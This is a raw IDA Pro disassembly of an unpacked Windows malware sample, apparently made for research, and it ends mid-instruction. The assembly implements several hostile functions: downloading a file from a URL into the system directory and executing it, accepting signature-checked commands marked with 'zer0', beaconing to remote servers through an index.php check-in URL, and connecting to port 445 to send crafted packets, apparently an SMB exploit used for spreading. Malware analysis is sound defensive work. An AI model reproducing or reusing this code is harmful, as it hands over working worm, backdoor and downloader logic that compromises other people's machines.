; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : F1B5C2E72F674CB05B687AC3706A6B36 ; File Name : u:\work\f1b5c2e72f674cb05b687ac3706a6b36_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 30900000 ; Section 1. (virtual address 00001000) ; Virtual size : 00004000 ( 16384.) ; Section size in file : 00004000 ( 16384.) ; Offset to raw data for section: 00001000 ; Flags E0000080: Bss Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX0 segment para public 'CODE' use32 assume cs:UPX0 ;org 30901000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dword_30901000 dd 77DD590Bh ; DATA XREF: sub_3090282C+1Ar dword_30901004 dd 77DD59F0h ; DATA XREF: sub_3090282C+38r dword_30901008 dd 77DD23D7h ; DATA XREF: sub_309027D3+3Er dword_3090100C dd 77DD22EAh ; DATA XREF: sub_3090279E+14r ; sub_309027D3+1Dr dword_30901010 dd 77DD5C55h ; DATA XREF: sub_3090279E+24r dword_30901014 dd 77DD189Ah ; DATA XREF: sub_3090279E+2Dr ; sub_309027D3+4Er ... dword_30901018 dd 77E2A571h ; DATA XREF: sub_3090235D+123r dword_3090101C dd 77DE089Eh ; DATA XREF: sub_30901752+17r dword_30901020 dd 77DE07A3h ; DATA XREF: sub_30901752+30r dword_30901024 dd 77DE0D79h ; DATA XREF: sub_30901752+4Dr dword_30901028 dd 77DE0343h ; DATA XREF: sub_30901752+5Br dword_3090102C dd 77DE0AF0h ; DATA XREF: sub_30901736+8r dword_30901030 dd 77DE042Eh ; DATA XREF: sub_30901736+12r dword_30901034 dd 77DDEBA2h ; DATA XREF: sub_309016E7+6r dword_30901038 dd 77DE0BB2h ; DATA XREF: sub_309016E7+3Dr align 10h dword_30901040 dd 77E79E34h ; DATA XREF: sub_30902C03+Br dword_30901044 dd 77E7980Ah ; DATA XREF: sub_30902BEF+Dr dword_30901048 dd 77E7A099h ; DATA XREF: sub_30902AB1+17r dword_3090104C dd 77E76A2Eh ; DATA XREF: sub_30902AB1+E9r dword_30901050 dd 77E6BD13h ; DATA XREF: sub_309029E5+71r dword_30901054 dd 77E684C6h ; DATA XREF: sub_309029E5+B0r dword_30901058 dd 77EBB1E7h ; DATA XREF: sub_30902C7Cr dword_3090105C dd 77EBA595h ; DATA XREF: sub_30902C76r dword_30901060 dd 77E616B4h ; DATA XREF: sub_3090287F+9Br dword_30901064 dd 77EBA6E9h ; DATA XREF: sub_30902C70r dword_30901068 dd 77E73167h ; DATA XREF: sub_30902663+13r ; sub_30902AB1+8Fr dword_3090106C dd 77E777EFh ; DATA XREF: sub_30902514+3Fr ; sub_3090259C+58r dword_30901070 dd 77E737DEh ; DATA XREF: sub_3090235D+2Dr dword_30901074 dd 77E79D5Bh ; DATA XREF: sub_30902349+8r dword_30901078 dd 77E79D8Ch ; DATA XREF: sub_309011A0+EDr dword_3090107C dd 77E77963h ; DATA XREF: sub_309011A0+B9r ; sub_309011A0+F6r ... dword_30901080 dd 77E7A837h ; DATA XREF: sub_309011A0+8Fr ; sub_3090216F+57r dword_30901084 dd 77E74672h ; DATA XREF: sub_309011A0+5Ar ; sub_30901422+64r ... dword_30901088 dd 77E74155h ; DATA XREF: sub_309011A0+3Dr ; sub_309029E5+40r dword_3090108C dd 77E704FCh ; DATA XREF: sub_309011A0+37r ; sub_309029E5+1Br dword_30901090 dd 77E7513Ch ; DATA XREF: sub_309015C7+29r dword_30901094 dd 77E61BE6h ; DATA XREF: sub_3090169C+3Er ; sub_309017B9+16Cr ... dword_30901098 dd 77E73BEFh ; DATA XREF: sub_309017B9+4Fr dword_3090109C dd 77E79C90h ; DATA XREF: sub_30901D20+4Dr dword_309010A0 dd 77E7A5FDh ; DATA XREF: sub_30901D20+13r ; sub_30901DA8+2Cr dword_309010A4 dd 77E805D8h ; DATA XREF: sub_30901D20+Dr ; sub_3090235D+BCr dword_309010A8 dd 77E61A90h ; DATA XREF: sub_30901DA8+BCr dword_309010AC dd 77E706B7h ; DATA XREF: sub_30901DA8+8Ar ; sub_3090287F+92r dword_309010B0 dd 77E79F93h ; DATA XREF: sub_30901DA8+26r ; UPX0:309022E1r dword_309010B4 dd 77E7751Ah ; DATA XREF: sub_30901EB3+12r dword_309010B8 dd 77E7C2C4h ; DATA XREF: sub_30901EE1+8r dword_309010BC dd 77E7AC37h ; DATA XREF: sub_30901EF0+12r ; sub_30901F0A+12r dword_309010C0 dd 77E61BB8h ; DATA XREF: sub_30901F5B+38r dword_309010C4 dd 77E74A3Bh ; DATA XREF: sub_30902006+13r dword_309010C8 dd 77E73AB3h ; DATA XREF: sub_30902006+8r dword_309010CC dd 77E73C49h ; DATA XREF: sub_30902036+12Ar ; sub_3090216F+66r ... dword_309010D0 dd 77E78B82h ; DATA XREF: sub_3090216F+92r dword_309010D4 dd 77E793EFh ; DATA XREF: sub_3090216F+6Er dword_309010D8 dd 77E75CB5h ; DATA XREF: UPX0:3090231Br ; sub_309029E5+C3r dword_309010DC dd 77F5157Dh ; DATA XREF: UPX0:3090230Cr dword_309010E0 dd 77E73628h ; DATA XREF: UPX0:309022F1r ; sub_309029E5+Fr align 8 dword_309010E8 dd 77C35280h ; DATA XREF: sub_30901EB3+22r dword_309010EC dd 77C42E10h ; DATA XREF: sub_30902C32r dword_309010F0 dd 77C43710h ; DATA XREF: sub_30902C2Cr dword_309010F4 dd 77C43490h ; DATA XREF: sub_30902C26r dword_309010F8 dd 77C3528Dh ; DATA XREF: sub_3090169C+1Br ; sub_30901F2B:loc_30901F3Cr ... ; --------------------------------------------------------------------------- loc_309010FC: ; DATA XREF: UPX0:loc_30902C20r mov al, 3Eh retn ; --------------------------------------------------------------------------- db 77h dword_30901100 dd 77C43AB0h ; DATA XREF: sub_30901422+3Cr ; sub_30902036:loc_30902067r ... dword_30901104 dd 77C43500h ; DATA XREF: sub_30901316+37r ; sub_30901422+AAr dd 0 dword_3090110C dd 77D4BDCAh ; DATA XREF: sub_30901DA8+5Dr dword_30901110 dd 77D4456Bh ; DATA XREF: sub_30901DA8+67r dword_30901114 dd 77D45CBCh ; DATA XREF: sub_30901DA8+7Ar dword_30901118 dd 77D4C96Ah ; DATA XREF: sub_309015C7+5Dr ; sub_309015C7+77r ... align 10h dword_30901120 dd 76214750h ; DATA XREF: sub_309011A0+A9r ; sub_309015C7+9Dr dword_30901124 dd 7620AFB6h ; DATA XREF: sub_309011A0+18r ; sub_309015C7+89r dword_30901128 dd 76204E4Dh ; DATA XREF: sub_309015C7+C2r dword_3090112C dd 762211EFh ; DATA XREF: sub_30901FF0+8r ; UPX0:309026F3r dword_30901130 dd 7620BD61h ; DATA XREF: sub_309011A0+DBr ; sub_309015C7+B0r align 8 dword_30901138 dd 71AB41DAh ; DATA XREF: sub_309022B3+10r dword_3090113C dd 71AB3ECEh ; DATA XREF: sub_3090216F+100r dword_30901140 dd 71AB5DE2h ; DATA XREF: sub_3090216F+10Dr dword_30901144 dd 71AB868Dh ; DATA XREF: sub_3090216F+120r dword_30901148 dd 71AB32CAh ; DATA XREF: sub_30901FB1+Cr dword_3090114C dd 71AB1740h ; DATA XREF: sub_30901FB1+17r dword_30901150 dd 71AB2BBFh ; DATA XREF: sub_30901FB1+25r dword_30901154 dd 71AB3C22h ; DATA XREF: sub_309017B9+2Br ; sub_3090216F+ACr dword_30901158 dd 71AB401Ch ; DATA XREF: sub_309017B9+44r ; sub_30902663+Dr dword_3090115C dd 71AB1746h ; DATA XREF: sub_309017B9+147r ; sub_3090216F+F0r dword_30901160 dd 71AB3E5Dh ; DATA XREF: sub_309017B9+15Dr dword_30901164 dd 71AB1AF4h ; DATA XREF: sub_309017B9+17Br ; sub_30902036+67r ... dword_30901168 dd 71AB5690h ; DATA XREF: sub_309017B9+1A4r ; sub_309017B9+1D8r ... dword_3090116C dd 71AB8629h ; DATA XREF: sub_309017B9+550r ; sub_30902036+11Br dword_30901170 dd 71AB1A6Dh ; DATA XREF: sub_309017B9+559r ; sub_30902036+122r align 8 dword_30901178 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_30901422+5o dd offset nullsub_1 align 8 dword_30901188 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_3090235D+5o dd offset nullsub_2 align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_309011A0 proc near ; CODE XREF: sub_30901422+16Dp var_110 = byte ptr -110h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 110h push ebx push esi xor esi, esi push edi push esi push esi push esi push 1 push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... call dword_30901124 ; InternetOpenA mov ebx, eax cmp ebx, esi jnz short loc_309011CB push 1 jmp loc_30901261 ; --------------------------------------------------------------------------- loc_309011CB: ; CODE XREF: sub_309011A0+22j lea eax, [ebp+var_110] push 104h push eax call dword_3090108C ; GetSystemDirectoryA mov edi, dword_30901088 lea eax, [ebp+var_110] push offset dword_30904230 push eax call edi ; lstrcat lea eax, [ebp+var_110] push 6 push eax call dword_30901084 ; lstrlen lea eax, [ebp+eax+var_110] push eax call sub_30901F2B pop ecx lea eax, [ebp+var_110] pop ecx push offset dword_30904228 push eax call edi ; lstrcat push esi push esi push 2 push esi push esi lea eax, [ebp+var_110] push 40000000h push eax call dword_30901080 ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_30901241 push 2 jmp short loc_30901261 ; --------------------------------------------------------------------------- loc_30901241: ; CODE XREF: sub_309011A0+9Bj push esi push esi push esi push esi push [ebp+arg_0] push ebx call dword_30901120 ; InternetOpenUrlA cmp eax, esi mov [ebp+arg_0], eax jnz short loc_30901264 push [ebp+var_4] call dword_3090107C ; CloseHandle push 3 loc_30901261: ; CODE XREF: sub_309011A0+26j ; sub_309011A0+9Fj pop eax jmp short loc_309012B5 ; --------------------------------------------------------------------------- loc_30901264: ; CODE XREF: sub_309011A0+B4j mov edi, 100000h push edi call sub_30902BEF mov ebx, eax pop ecx lea eax, [ebp+var_8] push eax push edi push ebx push [ebp+arg_0] call dword_30901130 ; InternetReadFile lea eax, [ebp+var_C] push esi push eax push [ebp+var_8] push ebx push [ebp+var_4] call dword_30901078 ; WriteFile push [ebp+var_4] call dword_3090107C ; CloseHandle lea eax, [ebp+var_110] push 5 push eax call sub_30901F5B push ebx call sub_30902C03 add esp, 0Ch xor eax, eax loc_309012B5: ; CODE XREF: sub_309011A0+C2j pop edi pop esi pop ebx leave retn sub_309011A0 endp ; =============== S U B R O U T I N E ======================================= sub_309012BA proc near ; CODE XREF: sub_30901422+F8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch mov ecx, [esp+arg_4] mov eax, [esp+arg_0] push ebx push esi push edi or edi, 0FFFFFFFFh inc eax push 0Fh lea esi, [ecx+1] sub edi, ecx pop ecx loc_309012D1: ; CODE XREF: sub_309012BA+56j mov dl, [eax] mov bl, [eax-1] add edx, ecx add bl, cl sar edx, 4 and dl, 3 sub dl, [esp+0Ch+arg_8] shl bl, 2 or dl, bl mov [esi-1], dl mov dl, [eax+1] mov bl, [eax] dec dl add bl, cl and dl, cl sub dl, [esp+0Ch+arg_8] add eax, 3 shl bl, 4 and bl, 0F0h or dl, bl mov [esi], dl inc esi inc esi lea edx, [edi+esi] cmp edx, 30h jl short loc_309012D1 pop edi pop esi pop ebx retn sub_309012BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_30901316 proc near ; CODE XREF: sub_3090139B+27p var_38 = byte ptr -38h var_1C = byte ptr -1Ch arg_0 = byte ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h push ebx push esi push edi push 6 pop ecx mov esi, offset aAbcdefghijklmn ; "ABCDEFGHIJKLMNOPQRSTUVWXYZ" lea edi, [ebp+var_1C] push 6 rep movsd movsw movsb pop ecx mov esi, offset aAbcdefghijkl_0 ; "abcdefghijklmnopqrstuvwxyz" lea edi, [ebp+var_38] mov ebx, [ebp+arg_4] rep movsd movsw test ebx, ebx movsb jge short loc_30901349 add ebx, 1Ah loc_30901349: ; CODE XREF: sub_30901316+2Ej movsx edi, [ebp+arg_0] mov esi, dword_30901104 lea eax, [ebp+var_1C] push edi push eax call esi ; strchr pop ecx test eax, eax pop ecx jz short loc_30901373 lea ecx, [ebp+var_1C] push 1Ah sub eax, ecx pop ecx add eax, ebx cdq idiv ecx mov al, [ebp+edx+var_1C] jmp short loc_30901396 ; --------------------------------------------------------------------------- loc_30901373: ; CODE XREF: sub_30901316+48j lea eax, [ebp+var_38] push edi push eax call esi ; strchr pop ecx test eax, eax pop ecx jz short loc_30901393 lea ecx, [ebp+var_38] push 1Ah sub eax, ecx pop ecx add eax, ebx cdq idiv ecx mov al, [ebp+edx+var_38] jmp short loc_30901396 ; --------------------------------------------------------------------------- loc_30901393: ; CODE XREF: sub_30901316+68j mov al, [ebp+arg_0] loc_30901396: ; CODE XREF: sub_30901316+5Bj ; sub_30901316+7Bj pop edi pop esi pop ebx leave retn sub_30901316 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3090139B proc near ; CODE XREF: sub_30901422+D6p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push esi mov esi, [ebp+arg_8] push edi mov al, [eax] test al, al jz short loc_309013F8 mov edi, [ebp+arg_0] push ebx loc_309013B0: ; CODE XREF: sub_3090139B+58j sub al, 2 inc [ebp+arg_4] mov bl, al mov eax, esi neg eax mov byte ptr [ebp+arg_0], bl push eax push [ebp+arg_0] call sub_30901316 mov [edi], al pop ecx inc edi cmp bl, 61h pop ecx jl short loc_309013DC cmp bl, 7Ah jg short loc_309013DC movsx esi, bl sub esi, 61h loc_309013DC: ; CODE XREF: sub_3090139B+34j ; sub_3090139B+39j cmp bl, 41h jl short loc_309013EC cmp bl, 5Ah jg short loc_309013EC movsx esi, bl sub esi, 41h loc_309013EC: ; CODE XREF: sub_3090139B+44j ; sub_3090139B+49j mov eax, [ebp+arg_4] mov al, [eax] test al, al jnz short loc_309013B0 pop ebx jmp short loc_309013FB ; --------------------------------------------------------------------------- loc_309013F8: ; CODE XREF: sub_3090139B+Fj mov edi, [ebp+arg_0] loc_309013FB: ; CODE XREF: sub_3090139B+5Bj and byte ptr [edi], 0 pop edi pop esi pop ebp retn sub_3090139B endp ; =============== S U B R O U T I N E ======================================= sub_30901402 proc near ; CODE XREF: sub_30901422+104p arg_0 = dword ptr 4 xor eax, eax xor ecx, ecx loc_30901406: ; CODE XREF: sub_30901402+12j mov edx, [esp+arg_0] movzx edx, byte ptr [ecx+edx] add eax, edx inc ecx cmp ecx, 30h jl short loc_30901406 push 1Ah cdq pop ecx idiv ecx mov eax, edx add eax, 61h retn sub_30901402 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_30901422 proc near ; CODE XREF: sub_309015C7+B7p var_174 = dword ptr -174h var_170 = byte ptr -170h var_168 = byte ptr -168h var_164 = byte ptr -164h var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = byte ptr -124h var_11C = byte ptr -11Ch var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_30901178 push offset loc_30902C20 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 164h push ebx push esi push edi mov [ebp+var_128], 1 and [ebp+var_4], 0 push offset aZer0 ; "zer0" push [ebp+arg_0] call dword_30901100 ; strstr pop ecx pop ecx mov edi, eax mov [ebp+var_130], edi test edi, edi jz loc_309015A8 add edi, 4 mov [ebp+var_130], edi jz loc_309015A8 push edi call dword_30901084 ; lstrlen mov [ebp+var_1C], eax cmp eax, 50h jle loc_309015A8 and byte ptr [edi+100h], 0 mov al, [edi] mov [ebp+var_168], al movsx ebx, al sub ebx, 61h mov [ebp+var_12C], ebx js loc_309015A8 cmp ebx, 1Ah jge loc_309015A8 inc edi mov [ebp+var_130], edi push 7Eh push edi call dword_30901104 ; strchr pop ecx pop ecx mov esi, eax mov [ebp+var_134], esi test esi, esi jz loc_309015A8 mov al, [esi] mov [ebp+var_170], al and byte ptr [esi], 0 push ebx push edi lea eax, [ebp+var_11C] push eax call sub_3090139B mov al, [ebp+var_170] mov [esi], al inc esi mov [ebp+var_130], esi xor edi, edi push edi lea eax, [ebp+var_164] push eax lea eax, [esi+1] push eax call sub_309012BA lea eax, [ebp+var_164] push eax call sub_30901402 add esp, 1Ch cmp [esi], al jnz short loc_309015A8 push 44h push offset dword_30904000 lea eax, [ebp+var_124] push eax call sub_309016E7 add esp, 0Ch lea eax, [ebp+var_174] push eax push 30h lea eax, [ebp+var_164] push eax lea eax, [ebp+var_11C] push eax call dword_30901084 ; lstrlen push eax lea eax, [ebp+var_11C] push eax lea eax, [ebp+var_124] push eax call sub_30901752 add esp, 18h test eax, eax jnz short loc_3090159B cmp [ebp+var_174], edi jz short loc_3090159B lea eax, [ebp+var_11C] push eax call sub_309011A0 pop ecx mov [ebp+var_128], edi loc_3090159B: ; CODE XREF: sub_30901422+15Cj ; sub_30901422+164j lea eax, [ebp+var_124] push eax call sub_30901736 pop ecx loc_309015A8: ; CODE XREF: sub_30901422+4Ej ; sub_30901422+5Dj ... or [ebp+var_4], 0FFFFFFFFh call nullsub_1 mov eax, [ebp+var_128] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_30901422 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_309015C7 proc near ; CODE XREF: sub_3090169C+14p var_E8 = byte ptr -0E8h var_84 = byte ptr -84h var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 0E8h push ebx push esi push edi push 4000h call sub_30902BEF pop ecx mov esi, eax lea eax, [ebp+var_E8] push 63h push eax push 7 push 400h call dword_30901090 ; GetLocaleInfoA xor ebx, ebx cmp [ebp+arg_4], bl jz short loc_3090162F lea eax, [ebp+var_E8] push eax lea eax, [ebp+var_84] push dword_30904FBC push dword_30904FD4 push offset aSmusmdxdnulxk ; "smusmdxdnulxk" push [ebp+arg_0] push offset aHttpSIndex_php ; "http://%s/index.php?id=%s?scn=%d?inf=%d"... push eax call dword_30901118 ; wsprintfA add esp, 1Ch jmp short loc_30901647 ; --------------------------------------------------------------------------- loc_3090162F: ; CODE XREF: sub_309015C7+34j push [ebp+arg_0] lea eax, [ebp+var_84] push offset aHttpS ; "http://%s" push eax call dword_30901118 ; wsprintfA add esp, 0Ch loc_30901647: ; CODE XREF: sub_309015C7+66j push ebx push ebx push ebx push ebx push offset aMozilla4_0Co_0 ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... call dword_30901124 ; InternetOpenA push ebx mov edi, eax push ebx push ebx lea eax, [ebp+var_84] push ebx push eax push edi call dword_30901120 ; InternetOpenUrlA mov ebx, eax lea eax, [ebp+var_4] push eax push 2000h push esi push ebx call dword_30901130 ; InternetReadFile push esi call sub_30901422 push esi call sub_30902C03 mov esi, dword_30901128 pop ecx pop ecx push ebx call esi ; InternetCloseHandle push edi call esi ; InternetCloseHandle pop edi pop esi pop ebx leave retn sub_309015C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_3090169C proc near ; DATA XREF: sub_3090235D+101o push esi loc_3090169D: ; CODE XREF: sub_3090169C+49j xor esi, esi loc_3090169F: ; CODE XREF: sub_3090169C+47j inc esi inc esi mov al, byte_30904080[esi+esi*4] push eax push off_30904081[esi+esi*4] call sub_309015C7 pop ecx pop ecx call dword_309010F8 ; rand push 3 cdq pop ecx idiv ecx add esi, edx call sub_30902020 xor edx, edx mov ecx, 493E0h div ecx add edx, 61B48h push edx call dword_30901094 ; Sleep cmp esi, 14h jb short loc_3090169F jmp short loc_3090169D sub_3090169C endp ; =============== S U B R O U T I N E ======================================= sub_309016E7 proc near ; CODE XREF: sub_30901422+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx mov ebx, [esp+4+arg_0] push esi mov esi, dword_30901034 push edi xor edi, edi push edi push 1 push edi push edi push ebx call esi ; CryptAcquireContextA test eax, eax jnz short loc_30901714 push 8 push 1 push edi push edi push ebx call esi ; CryptAcquireContextA test eax, eax jnz short loc_30901714 push 1 pop eax jmp short loc_30901732 ; --------------------------------------------------------------------------- loc_30901714: ; CODE XREF: sub_309016E7+19j ; sub_309016E7+26j lea eax, [ebx+4] push eax push edi push edi push [esp+18h+arg_8] push [esp+1Ch+arg_4] push dword ptr [ebx] call dword_30901038 ; CryptImportKey neg eax sbb eax, eax and al, 0FEh inc eax inc eax loc_30901732: ; CODE XREF: sub_309016E7+2Bj pop edi pop esi pop ebx retn sub_309016E7 endp ; =============== S U B R O U T I N E ======================================= sub_30901736 proc near ; CODE XREF: sub_30901422+180p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+4] call dword_3090102C ; CryptDestroyKey push 0 push dword ptr [esi] call dword_30901030 ; CryptReleaseContext xor eax, eax pop esi retn sub_30901736 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_30901752 proc near ; CODE XREF: sub_30901422+152p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push edi lea eax, [ebp+arg_0] xor edi, edi push eax push edi push edi push 8003h push dword ptr [esi] call dword_3090101C ; CryptCreateHash test eax, eax jnz short loc_30901778 push 1 pop eax jmp short loc_309017B5 ; --------------------------------------------------------------------------- loc_30901778: ; CODE XREF: sub_30901752+1Fj push edi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_30901020 ; CryptHashData test eax, eax jnz short loc_30901791 push 2 pop edi jmp short loc_309017AA ; --------------------------------------------------------------------------- loc_30901791: ; CODE XREF: sub_30901752+38j push edi push edi push dword ptr [esi+4] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_0] call dword_30901024 ; CryptVerifySignatureA mov ecx, [ebp+arg_14] mov [ecx], eax loc_309017AA: ; CODE XREF: sub_30901752+3Dj push [ebp+arg_0] call dword_30901028 ; CryptDestroyHash mov eax, edi loc_309017B5: ; CODE XREF: sub_30901752+24j pop edi pop esi pop ebp retn sub_30901752 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_309017B9 proc near ; CODE XREF: sub_309024B0+36p ; sub_30902514+48p ... var_89E4 = byte ptr -89E4h var_897C = byte ptr -897Ch var_690C = byte ptr -690Ch var_689C = byte ptr -689Ch var_5DD8 = byte ptr -5DD8h var_4834 = byte ptr -4834h var_4833 = byte ptr -4833h var_37A0 = byte ptr -37A0h var_2CDC = byte ptr -2CDCh var_2CDB = byte ptr -2CDBh var_2CD8 = byte ptr -2CD8h var_24F4 = byte ptr -24F4h var_24E4 = byte ptr -24E4h var_21C0 = byte ptr -21C0h var_21BC = byte ptr -21BCh var_21B0 = byte ptr -21B0h var_1F28 = byte ptr -1F28h var_1EAC = byte ptr -1EACh var_16DC = byte ptr -16DCh var_1231 = byte ptr -1231h var_F44 = byte ptr -0F44h var_EA4 = byte ptr -0EA4h var_798 = dword ptr -798h var_788 = byte ptr -788h var_774 = byte ptr -774h var_730 = byte ptr -730h var_134 = byte ptr -134h var_133 = byte ptr -133h var_E4 = byte ptr -0E4h var_E1 = byte ptr -0E1h var_B7 = byte ptr -0B7h var_B5 = byte ptr -0B5h var_B4 = byte ptr -0B4h var_6C = byte ptr -6Ch var_4C = byte ptr -4Ch var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 89E4h call sub_30902C40 mov eax, dword_30904CBC push ebx push edi push 1 pop edi xor ebx, ebx mov [ebp+var_14], eax mov eax, dword_30904CC0 push ebx push edi push 2 mov [ebp+var_10], eax mov [ebp+var_C], edi call dword_30901154 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_30901D19 push esi mov esi, [ebp+arg_0] push 1Dh push esi call dword_30901158 ; inet_ntoa push eax lea eax, [ebp+var_6C] push eax call dword_30901098 ; lstrcpyn lea eax, [ebp+var_6C] push eax lea eax, [ebp+var_4C] push offset loc_30904CB0 push eax call dword_30901118 ; wsprintfA add esp, 0Ch xor ecx, ecx lea eax, [ebp+var_133] loc_3090182C: ; CODE XREF: sub_309017B9+83j mov dl, [ebp+ecx+var_4C] mov [eax-1], dl and byte ptr [eax], 0 inc ecx inc eax inc eax cmp ecx, 28h jl short loc_3090182C push 60h lea eax, [ebp+var_E4] push offset dword_309047D0 push eax call sub_30902C32 ; memcpy lea eax, [ebp+var_4C] push eax call sub_30902C2C ; strlen shl eax, 1 push eax lea eax, [ebp+var_134] push eax lea eax, [ebp+var_B4] push eax call sub_30902C32 ; memcpy add esp, 1Ch lea eax, [ebp+var_4C] push 9 push (offset aC+3) push eax call sub_30902C2C ; strlen pop ecx lea eax, [ebp+eax*2+var_B5] push eax call sub_30902C32 ; memcpy lea eax, [ebp+var_4C] push eax call sub_30902C2C ; strlen add al, 1Ah push edi shl al, 1 mov [ebp+var_5], al lea eax, [ebp+var_5] push eax lea eax, [ebp+var_E1] push eax call sub_30902C32 ; memcpy lea eax, [ebp+var_4C] push eax call sub_30902C2C ; strlen shl al, 1 add al, 9 push edi mov [ebp+var_6], al lea eax, [ebp+var_6] push eax lea eax, [ebp+var_B7] push eax call sub_30902C32 ; memcpy push 0E29h lea eax, [ebp+var_1F28] push 31h push eax call sub_30902C26 ; memset push 10h lea eax, [ebp+var_24] push ebx push eax call sub_30902C26 ; memset add esp, 44h mov [ebp+var_24], 2 push 1BDh call dword_3090115C ; htons mov [ebp+var_22], ax lea eax, [ebp+var_24] push 10h push eax push [ebp+var_4] mov [ebp+var_20], esi call dword_30901160 ; connect cmp eax, 0FFFFFFFFh jz loc_30901D0F mov esi, dword_30901094 mov edi, 0C8h push edi call esi ; Sleep push ebx mov ebx, dword_30901164 push 89h push offset dword_309045B8 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_30901168 ; recv cmp eax, 0FFFFFFFFh jz loc_30901D04 push 0 push 0A8h push offset dword_30904644 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_30901168 ; recv cmp eax, 0FFFFFFFFh jz loc_30901D04 push 0 push 0DEh push offset dword_309046F0 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_30901168 ; recv cmp eax, 0FFFFFFFFh jz loc_30901D04 cmp eax, 46h jl loc_30901D04 cmp [ebp+var_730], 31h jnz loc_30901BAF and [ebp+arg_0], 0 push 7D0h lea eax, [ebp+var_F44] push 90h push eax call sub_30902C26 ; memset add esp, 0Ch push offset byte_309042F0 call dword_30901084 ; lstrlen push eax lea eax, [ebp+var_EA4] push offset byte_309042F0 push eax call sub_30902C32 ; memcpy add esp, 0Ch lea eax, [ebp+var_14] push eax call dword_30901084 ; lstrlen push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_788] push eax call sub_30902C32 ; memcpy mov eax, dword_30904BF6 add esp, 0Ch mov [ebp+var_798], eax loc_30901A50: ; CODE XREF: sub_309017B9+4E1j movsx eax, [ebp+var_5] add eax, 4 push 0 push eax lea eax, [ebp+var_E4] push eax push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_30901168 ; recv cmp eax, 0FFFFFFFFh jz loc_30901D04 push 0 push 68h push offset dword_30904834 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_30901168 ; recv cmp eax, 0FFFFFFFFh jz loc_30901D04 push 0 push 0A0h push offset dword_309048A0 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_30901168 ; recv cmp eax, 0FFFFFFFFh jz loc_30901D04 cmp [ebp+arg_0], 0 jz loc_30901C9F push 68h lea eax, [ebp+var_89E4] push offset dword_30904A58 push eax call sub_30902C32 ; memcpy lea eax, [ebp+var_4834] push 1B5Ah push eax lea eax, [ebp+var_897C] push eax call sub_30902C32 ; 